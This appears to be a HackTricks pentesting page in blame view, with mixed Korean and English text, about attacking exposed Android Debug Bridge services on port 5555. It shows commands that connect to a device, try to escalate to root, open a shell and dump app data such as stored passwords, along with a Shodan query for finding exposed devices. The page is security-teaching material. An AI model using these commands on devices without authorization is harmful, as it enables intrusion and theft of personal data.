hacktricks/network-services-pentesting/5555-android-debug-bridge.md

72 lines
3.9 KiB
Markdown
Raw Normal View History

# 5555 - Android Debug Bridge
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
## 기본 정보
2021-11-12 01:11:08 +00:00
From [the docs](https://developer.android.com/studio/command-line/adb):
2024-02-08 21:36:35 +00:00
**Android Debug Bridge** (adb)는 장치와 통신할 수 있는 다목적 명령줄 도구입니다. adb 명령은 **앱 설치 및 디버깅**과 같은 다양한 장치 작업을 용이하게 하며, 장치에서 다양한 명령을 실행할 수 있는 **Unix 셸에 대한 액세스**를 제공합니다.
2021-11-12 01:11:08 +00:00
2024-02-10 21:30:13 +00:00
**기본 포트**: 5555.
2021-11-12 01:11:08 +00:00
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Connect
2021-11-12 01:11:08 +00:00
ADB 서비스가 장치의 포트에서 실행되고 있고 연결할 수 있다면, **시스템 내부에서 셸을 얻을 수 있습니다:**
2021-11-12 01:11:08 +00:00
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
더 많은 ADB 명령어는 다음 페이지를 확인하세요:
2021-11-12 01:11:08 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
2021-11-12 01:11:08 +00:00
{% endcontent-ref %}
2024-02-10 21:30:13 +00:00
### 앱 데이터 덤프
2021-11-12 01:11:08 +00:00
애플리케이션의 데이터를 완전히 다운로드하려면 다음을 수행할 수 있습니다:
2021-11-12 01:11:08 +00:00
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
You can use this trick to **민감한 정보(예: 크롬 비밀번호)를 검색**할 수 있습니다. 이에 대한 자세한 정보는 제공된 [**여기**](https://github.com/carlospolop/hacktricks/issues/274)에서 확인하세요.
2022-05-01 13:25:53 +00:00
## Shodan
* `android debug bridge`
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}